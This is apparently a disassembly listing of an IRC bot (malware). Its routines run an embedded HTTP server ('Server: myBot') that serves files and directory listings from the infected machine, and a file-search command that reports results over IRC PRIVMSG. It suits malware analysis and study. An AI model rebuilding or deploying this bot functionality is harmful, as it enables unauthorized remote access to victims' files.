		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 273143Ch
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26A04DCh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AA8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2710A4Eh
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 2740B0Ch
		nop
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 26708E6h

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		call	near ptr 2690579h
		nop
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		nop
		call	near ptr 2690CE2h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A3C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 25D0000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2770000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 27508E2h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		call	near ptr 2690579h
		nop

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2770000h
		nop
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2750000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2710A4Eh
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 2740B0Ch
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:00437A30o
					; ___:00437A44o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2710000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 26708E6h

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
